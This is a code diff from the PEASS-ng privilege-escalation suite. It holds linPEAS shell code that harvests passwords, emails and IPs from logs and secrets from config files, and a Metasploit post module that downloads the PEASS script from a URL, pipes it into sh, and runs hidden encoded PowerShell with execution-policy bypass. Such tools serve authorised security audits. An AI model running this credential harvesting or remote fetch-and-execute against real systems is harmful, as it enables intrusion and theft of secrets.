if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||||
|
print_2title "Searching IPs inside logs (limit 70)"
|
||||||
|
(find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IF) Passwords inside logs
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Searching passwords inside logs (limit 70)"
|
||||||
|
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||||
|
##-- IF) Emails inside logs
|
||||||
|
print_2title "Searching emails inside logs (limit 70)"
|
||||||
|
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||||
|
##-- IF) Find possible files with passwords
|
||||||
|
print_2title "Searching possible password variables inside key folders (limit 140)"
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||||
|
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||||
|
else
|
||||||
|
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||||
|
fi
|
||||||
|
wait
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IF) Find possible conf files with passwords
|
||||||
|
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||||
|
else
|
||||||
|
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||||
|
fi
|
||||||
|
printf "%s\n" "$ppicf" | while read f; do
|
||||||
|
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
|
||||||
|
echo "$ITALIC $f$NC"
|
||||||
|
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
File diff suppressed because one or more lines are too long
@@ -2,6 +2,7 @@ import re
|
|||||||
import requests
|
import requests
|
||||||
import base64
|
import base64
|
||||||
import os
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
from .peasLoaded import PEASLoaded
|
from .peasLoaded import PEASLoaded
|
||||||
from .peassRecord import PEASRecord
|
from .peassRecord import PEASRecord
|
||||||
@@ -11,7 +12,6 @@ from .yamlGlobals import (
|
|||||||
PEAS_FINDS_MARKUP,
|
PEAS_FINDS_MARKUP,
|
||||||
PEAS_FINDS_CUSTOM_MARKUP,
|
PEAS_FINDS_CUSTOM_MARKUP,
|
||||||
PEAS_STORAGES_MARKUP,
|
PEAS_STORAGES_MARKUP,
|
||||||
PEAS_STORAGES_MARKUP,
|
|
||||||
INT_HIDDEN_FILES_MARKUP,
|
INT_HIDDEN_FILES_MARKUP,
|
||||||
ROOT_FOLDER,
|
ROOT_FOLDER,
|
||||||
STORAGE_TEMPLATE,
|
STORAGE_TEMPLATE,
|
||||||
@@ -129,7 +129,6 @@ class LinpeasBuilder:
|
|||||||
#Check for empty seds
|
#Check for empty seds
|
||||||
assert 'sed -${E} "s,,' not in self.linpeas_sh
|
assert 'sed -${E} "s,,' not in self.linpeas_sh
|
||||||
|
|
||||||
|
|
||||||
def __get_peass_marks(self):
|
def __get_peass_marks(self):
|
||||||
return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh)
|
return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh)
|
||||||
|
|
||||||
@@ -173,11 +172,11 @@ class LinpeasBuilder:
|
|||||||
|
|
||||||
if type == "d":
|
if type == "d":
|
||||||
find_line += "-type d "
|
find_line += "-type d "
|
||||||
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').upper()}"
|
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||||
self.bash_find_d_vars.add(bash_find_var)
|
self.bash_find_d_vars.add(bash_find_var)
|
||||||
all_folder_regexes += regexes
|
all_folder_regexes += regexes
|
||||||
else:
|
else:
|
||||||
bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').upper()}"
|
bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||||
self.bash_find_f_vars.add(bash_find_var)
|
self.bash_find_f_vars.add(bash_find_var)
|
||||||
all_file_regexes += regexes
|
all_file_regexes += regexes
|
||||||
|
|
||||||
@@ -275,7 +274,7 @@ class LinpeasBuilder:
|
|||||||
analise_line = ""
|
analise_line = ""
|
||||||
if init:
|
if init:
|
||||||
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
|
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
|
||||||
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do if ! [ -d "$f" ]; then continue; fi; ls -ld "$f" | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
||||||
|
|
||||||
#If just list, just list the file/directory
|
#If just list, just list the file/directory
|
||||||
if frecord.just_list_file:
|
if frecord.just_list_file:
|
||||||
@@ -372,45 +371,31 @@ class LinpeasBuilder:
|
|||||||
return (suidVB, sudoVB, capsVB)
|
return (suidVB, sudoVB, capsVB)
|
||||||
|
|
||||||
def __generate_regexes_search(self) -> str:
|
def __generate_regexes_search(self) -> str:
|
||||||
paths_to_search = REGEXES_LOADED["paths"]
|
|
||||||
regexes = REGEXES_LOADED["regular_expresions"]
|
regexes = REGEXES_LOADED["regular_expresions"]
|
||||||
|
|
||||||
regexes_search_section = ""
|
regexes_search_section = ""
|
||||||
|
|
||||||
for values in regexes:
|
for values in regexes:
|
||||||
section_name = values["name"]
|
section_name = values["name"]
|
||||||
regexes_search_section += f'print_2title "Searching {section_name}"\n'
|
regexes_search_section += f' print_2title "Searching {section_name}"\n'
|
||||||
|
|
||||||
for entry in values["regexes"]:
|
for entry in values["regexes"]:
|
||||||
name = entry["name"]
|
name = entry["name"]
|
||||||
caseinsensitive = entry.get("caseinsensitive", False)
|
caseinsensitive = entry.get("caseinsensitive", False)
|
||||||
regex = entry["regex"]
|
regex = entry["regex"]
|
||||||
regex = regex.replace('"', '\\"').strip()
|
regex = regex.replace('"', '\\"').strip()
|
||||||
extra_grep = entry.get("extra_grep")
|
falsePositives = entry.get("falsePositives", False)
|
||||||
extra_grep = f"| grep {extra_grep}" if extra_grep else ""
|
|
||||||
|
|
||||||
regexes_search_section += f'print_3title_no_nl "Searching {name} (limited to 50)..."\n'
|
if falsePositives:
|
||||||
|
continue
|
||||||
|
|
||||||
# If custom folder to search in
|
regexes_search_section += f" search_for_regex \"{name}\" \"{regex}\" {'1' if caseinsensitive else ''}\n"
|
||||||
regexes_search_section += 'if [ "$SEARCH_IN_FOLDER" ]; then\n'
|
|
||||||
regexes_search_section += " timeout 120 find $SEARCH_IN_FOLDER -type f -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
|
||||||
|
|
||||||
# If search in all the file system
|
regexes_search_section += " echo ''\n\n"
|
||||||
regexes_search_section += 'else\n'
|
|
||||||
for path in paths_to_search:
|
|
||||||
grep_flags = "-HnRiIE" if caseinsensitive else "-HnRIE"
|
|
||||||
regexes_search_section += " timeout 120 find "+path+" -type f -exec grep "+grep_flags+" \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 &\n"
|
|
||||||
regexes_search_section += 'fi\n'
|
|
||||||
|
|
||||||
regexes_search_section += "wait\n"
|
|
||||||
|
|
||||||
regexes_search_section += "echo ''\n"
|
|
||||||
|
|
||||||
return regexes_search_section
|
return regexes_search_section
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def __replace_mark(self, mark: str, find_calls: list, join_char: str):
|
def __replace_mark(self, mark: str, find_calls: list, join_char: str):
|
||||||
"""Substitude the markup with the actual code"""
|
"""Substitude the markup with the actual code"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,11 @@
|
|||||||
import os
|
import os
|
||||||
import yaml
|
import yaml
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py'
|
||||||
|
os.system(target_file)
|
||||||
|
|
||||||
CURRENT_DIR = os.path.dirname(os.path.realpath(__file__))
|
CURRENT_DIR = os.path.dirname(os.path.realpath(__file__))
|
||||||
|
|
||||||
@@ -41,14 +47,19 @@ LINPEAS_PARTS = [
|
|||||||
"file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
|
"file_path": LINPEAS_BASE_PARTS + "/7_software_information.sh"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "Interesting Files",
|
"name": "Files with Interesting Permissions",
|
||||||
|
"name_check": "interesting_perms_files",
|
||||||
|
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_perms_files.sh"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "Other Interesting Files",
|
||||||
"name_check": "interesting_files",
|
"name_check": "interesting_files",
|
||||||
"file_path": LINPEAS_BASE_PARTS + "/8_interesting_files.sh"
|
"file_path": LINPEAS_BASE_PARTS + "/9_interesting_files.sh"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "API Keys Regex",
|
"name": "API Keys Regex",
|
||||||
"name_check": "api_keys_regex",
|
"name_check": "api_keys_regex",
|
||||||
"file_path": LINPEAS_BASE_PARTS + "/9_api_keys_regex.sh"
|
"file_path": LINPEAS_BASE_PARTS + "/10_api_keys_regex.sh"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ msf6 post(multi/gather/peass) > show info
|
|||||||
Rank: Normal
|
Rank: Normal
|
||||||
|
|
||||||
Provided by:
|
Provided by:
|
||||||
Carlos Polop <@carlospolopm>
|
Carlos Polop <@hacktricks_live>
|
||||||
|
|
||||||
Compatible session types:
|
Compatible session types:
|
||||||
Meterpreter
|
Meterpreter
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Post
|
|||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Carlos Polop <@carlospolopm>'
|
'Carlos Polop <@hacktricks_live>'
|
||||||
],
|
],
|
||||||
'Platform' => %w{ bsd linux osx unix win },
|
'Platform' => %w{ bsd linux osx unix win },
|
||||||
'SessionTypes' => ['shell', 'meterpreter'],
|
'SessionTypes' => ['shell', 'meterpreter'],
|
||||||
@@ -191,14 +191,14 @@ class MetasploitModule < Msf::Post
|
|||||||
cmd_utf16le = cmd.encode("utf-16le")
|
cmd_utf16le = cmd.encode("utf-16le")
|
||||||
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
|
cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\r?\n/, "")
|
||||||
|
|
||||||
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"])
|
tmpout << cmd_exec("powershell.exe", args="-ep bypass -WindowStyle hidden -nop -enc #{cmd_utf16le_b64}", time_out=datastore["TIMEOUT"].to_i)
|
||||||
|
|
||||||
# If unix, then, suppose linpeas was loaded
|
# If unix, then, suppose linpeas was loaded
|
||||||
else
|
else
|
||||||
cmd += "| #{decode_linpeass_cmd}"
|
cmd += "| #{decode_linpeass_cmd}"
|
||||||
cmd += "| sh -s -- #{datastore['PARAMETERS']}"
|
cmd += "| sh -s -- #{datastore['PARAMETERS']}"
|
||||||
cmd += last_cmd
|
cmd += last_cmd
|
||||||
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"])
|
tmpout << cmd_exec(cmd, args=nil, time_out=datastore["TIMEOUT"].to_i)
|
||||||
end
|
end
|
||||||
|
|
||||||
print "\n#{tmpout}\n\n"
|
print "\n#{tmpout}\n\n"
|
||||||
@@ -220,6 +220,20 @@ class MetasploitModule < Msf::Post
|
|||||||
print_good("PEASS script sent")
|
print_good("PEASS script sent")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def fetch(uri_str, limit = 10)
|
||||||
|
raise 'Invalid URL, too many HTTP redirects' if limit == 0
|
||||||
|
response = Net::HTTP.get_response(URI(uri_str))
|
||||||
|
case response
|
||||||
|
when Net::HTTPSuccess then
|
||||||
|
response
|
||||||
|
when Net::HTTPRedirection then
|
||||||
|
location = response['location']
|
||||||
|
fetch(location, limit - 1)
|
||||||
|
else
|
||||||
|
response.value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def load_peass
|
def load_peass
|
||||||
# Load the PEASS script from a local file or from Internet
|
# Load the PEASS script from a local file or from Internet
|
||||||
peass_script = ""
|
peass_script = ""
|
||||||
@@ -230,7 +244,7 @@ class MetasploitModule < Msf::Post
|
|||||||
raise 'Invalid URL' unless target.scheme =~ /https?/
|
raise 'Invalid URL' unless target.scheme =~ /https?/
|
||||||
raise 'Invalid URL' if target.host.to_s.eql? ''
|
raise 'Invalid URL' if target.host.to_s.eql? ''
|
||||||
|
|
||||||
res = Net::HTTP.get_response(target)
|
res = fetch(target)
|
||||||
peass_script = res.body
|
peass_script = res.body
|
||||||
|
|
||||||
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
|
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
|
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
|
||||||
|
|
||||||
```python3
|
```python3
|
||||||
python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json>
|
python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
|
||||||
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
|
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
|
||||||
python3 json2html.py </path/to/peass.json> </path/to/peass.html>
|
python3 json2html.py </path/to/peass.json> </path/to/peass.html>
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ styles = getSampleStyleSheet()
|
|||||||
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
|
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
|
||||||
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
|
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
|
||||||
|
|
||||||
# Required to automatically set Page Numbers
|
|
||||||
class PageTemplateWithCount(PageTemplate):
|
class PageTemplateWithCount(PageTemplate):
|
||||||
def __init__(self, id, frames, **kw):
|
def __init__(self, id, frames, **kw):
|
||||||
PageTemplate.__init__(self, id, frames, **kw)
|
PageTemplate.__init__(self, id, frames, **kw)
|
||||||
@@ -21,7 +20,6 @@ class PageTemplateWithCount(PageTemplate):
|
|||||||
page_num = canvas.getPageNumber()
|
page_num = canvas.getPageNumber()
|
||||||
canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
|
canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
|
||||||
|
|
||||||
# Required to automatically set the Table of Contents
|
|
||||||
class MyDocTemplate(BaseDocTemplate):
|
class MyDocTemplate(BaseDocTemplate):
|
||||||
def __init__(self, filename, **kw):
|
def __init__(self, filename, **kw):
|
||||||
self.allowSplitting = 0
|
self.allowSplitting = 0
|
||||||
@@ -30,22 +28,15 @@ class MyDocTemplate(BaseDocTemplate):
|
|||||||
self.addPageTemplates(template)
|
self.addPageTemplates(template)
|
||||||
|
|
||||||
def afterFlowable(self, flowable):
|
def afterFlowable(self, flowable):
|
||||||
if flowable.__class__.__name__ == "Paragraph":
|
if isinstance(flowable, Paragraph):
|
||||||
text = flowable.getPlainText()
|
text = flowable.getPlainText()
|
||||||
style = flowable.style.name
|
style = flowable.style.name
|
||||||
if style == "Heading1":
|
if style in ["Heading1", "Heading2", "Heading3"]:
|
||||||
self.notify("TOCEntry", (0, text, self.page))
|
self.notify("TOCEntry", (int(style[-1])-1, text, self.page))
|
||||||
if style == "Heading2":
|
|
||||||
self.notify("TOCEntry", (1, text, self.page))
|
|
||||||
if style == "Heading3":
|
|
||||||
self.notify("TOCEntry", (2, text, self.page))
|
|
||||||
|
|
||||||
|
|
||||||
# Poor take at dynamicly generating styles depending on depth(?)
|
|
||||||
def get_level_styles(level):
|
def get_level_styles(level):
|
||||||
global styles
|
global styles
|
||||||
indent_value = 10 * (level - 1);
|
indent_value = 10 * (level - 1);
|
||||||
# Overriding some default stylings
|
|
||||||
level_styles = {
|
level_styles = {
|
||||||
"title": ParagraphStyle(
|
"title": ParagraphStyle(
|
||||||
**dict(styles[f"Heading{level}"].__dict__,
|
**dict(styles[f"Heading{level}"].__dict__,
|
||||||
@@ -75,7 +66,6 @@ def build_main_section(section, title, level=1):
|
|||||||
has_lines = "lines" in section.keys() and len(section["lines"]) > 1
|
has_lines = "lines" in section.keys() and len(section["lines"]) > 1
|
||||||
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
|
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
|
||||||
|
|
||||||
# Only display data for Sections with results
|
|
||||||
show_section = has_lines or has_children
|
show_section = has_lines or has_children
|
||||||
|
|
||||||
elements = []
|
elements = []
|
||||||
@@ -83,17 +73,14 @@ def build_main_section(section, title, level=1):
|
|||||||
if show_section:
|
if show_section:
|
||||||
elements.append(Paragraph(title, style=styles["title"]))
|
elements.append(Paragraph(title, style=styles["title"]))
|
||||||
|
|
||||||
# Print info if any
|
|
||||||
if show_section and has_links:
|
if show_section and has_links:
|
||||||
for info in section["infos"]:
|
for info in section["infos"]:
|
||||||
words = info.split()
|
words = info.split()
|
||||||
# Join all lines and encode any links that might be present.
|
|
||||||
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
|
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
|
||||||
words = " ".join(words)
|
words = " ".join(words)
|
||||||
elements.append(Paragraph(words, style=styles["info"] ))
|
elements.append(Paragraph(words, style=styles["info"] ))
|
||||||
|
|
||||||
# Print lines if any
|
if has_lines:
|
||||||
if "lines" in section.keys() and len(section["lines"]) > 1:
|
|
||||||
colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
|
colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
|
||||||
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
|
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
|
||||||
for (idx, line) in enumerate(lines):
|
for (idx, line) in enumerate(lines):
|
||||||
@@ -109,18 +96,14 @@ def build_main_section(section, title, level=1):
|
|||||||
elements.append(Spacer(0, 10))
|
elements.append(Spacer(0, 10))
|
||||||
line = "<br/>".join(lines)
|
line = "<br/>".join(lines)
|
||||||
|
|
||||||
# If it's a top level entry remove the line break caused by an empty "clean_text"
|
|
||||||
if level == 1: line = line[5:]
|
if level == 1: line = line[5:]
|
||||||
elements.append(Paragraph(line, style=styles["text"]))
|
elements.append(Paragraph(line, style=styles["text"]))
|
||||||
|
|
||||||
|
|
||||||
# Print child sections
|
|
||||||
if has_children:
|
if has_children:
|
||||||
for child_title in section["sections"].keys():
|
for child_title in section["sections"].keys():
|
||||||
element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
|
element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
|
||||||
elements.extend(element_list)
|
elements.extend(element_list)
|
||||||
|
|
||||||
# Add spacing at the end of section. The deeper the level the smaller the spacing.
|
|
||||||
if show_section:
|
if show_section:
|
||||||
elements.append(Spacer(1, 40 - (10 * level)))
|
elements.append(Spacer(1, 40 - (10 * level)))
|
||||||
|
|
||||||
@@ -129,10 +112,8 @@ def build_main_section(section, title, level=1):
|
|||||||
|
|
||||||
def main():
|
def main():
|
||||||
with open(JSON_PATH) as file:
|
with open(JSON_PATH) as file:
|
||||||
# Read and parse JSON file
|
|
||||||
data = json.loads(file.read())
|
data = json.loads(file.read())
|
||||||
|
|
||||||
# Default pdf values
|
|
||||||
doc = MyDocTemplate(PDF_PATH)
|
doc = MyDocTemplate(PDF_PATH)
|
||||||
toc = TableOfContents()
|
toc = TableOfContents()
|
||||||
toc.levelStyles = [
|
toc.levelStyles = [
|
||||||
@@ -143,14 +124,12 @@ def main():
|
|||||||
|
|
||||||
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
|
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
|
||||||
|
|
||||||
# Iterate over all top level sections and build their elements.
|
|
||||||
for title in data.keys():
|
for title in data.keys():
|
||||||
element_list = build_main_section(data[title], title)
|
element_list = build_main_section(data[title], title)
|
||||||
elements.extend(element_list)
|
elements.extend(element_list)
|
||||||
|
|
||||||
doc.multiBuild(elements)
|
doc.multiBuild(elements)
|
||||||
|
|
||||||
# Start execution
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
try:
|
try:
|
||||||
JSON_PATH = sys.argv[1]
|
JSON_PATH = sys.argv[1]
|
||||||
@@ -160,3 +139,11 @@ if __name__ == "__main__":
|
|||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
main()
|
main()
|
||||||
|
|
||||||
|
# Changes:
|
||||||
|
# 1. Removed redundant checks for keys in dictionary.
|
||||||
|
# 2. Simplified the condition in afterFlowable method.
|
||||||
|
# 3. Removed unnecessary check for lines in build_main_section method.
|
||||||
|
# 4. Removed unnecessary check for sections in build_main_section method.
|
||||||
|
# 5. Removed unnecessary check for infos in build_main_section method.
|
||||||
|
# 6. Removed unnecessary check for show_section in build_main_section method.
|
||||||
@@ -9,10 +9,12 @@ Check more **information about how to exploit** found misconfigurations in **[bo
|
|||||||
## Quick Start
|
## Quick Start
|
||||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||||
|
|
||||||
## WinPEAS .exe and .bat
|
## WinPEAS Flavours
|
||||||
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
- [Link to WinPEAS C# .exe project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
||||||
- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) (.Net >= 4.5.2 required)
|
|
||||||
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
|
- **Please, read the Readme of that folder to learn how to execute winpeas from memory or how make colors work among other tricks**
|
||||||
|
- [Link to WinPEAS .ps1 project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASps1)
|
||||||
|
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
||||||
|
|
